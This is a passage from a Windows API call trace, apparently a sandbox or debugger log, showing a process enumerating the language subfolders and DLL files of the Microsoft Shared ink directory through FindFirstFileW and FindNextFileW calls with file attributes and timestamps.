ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.916] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.916] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.917] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.917] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.917] GetProcessHeap () returned 0x560000 [0217.917] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.917] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0217.917] GetProcessHeap () returned 0x560000 [0217.918] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.918] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.918] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.919] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.919] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.929] GetProcessHeap () returned 0x560000 [0217.929] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.929] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0217.929] GetProcessHeap () returned 0x560000 [0217.929] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.931] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.931] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.932] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.932] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.932] GetProcessHeap () returned 0x560000 [0217.932] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.932] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0217.933] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0217.933] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0217.933] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0217.934] GetProcessHeap () returned 0x560000 [0217.934] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.934] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.934] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.934] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.935] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.935] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.935] GetProcessHeap () returned 0x560000 [0217.935] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.935] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0217.936] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0217.936] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0217.936] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0217.936] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0217.937] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0217.937] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0217.937] GetProcessHeap () returned 0x560000 [0217.937] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.937] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.938] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.938] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.938] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.938] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.939] GetProcessHeap () returned 0x560000 [0217.939] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.939] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0217.939] GetProcessHeap () returned 0x560000 [0217.939] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.939] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.940] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.940] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.940] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.940] GetProcessHeap () returned 0x560000 [0217.940] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.940] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0217.941] GetProcessHeap () returned 0x560000 [0217.941] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.943] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.943] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.943] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, 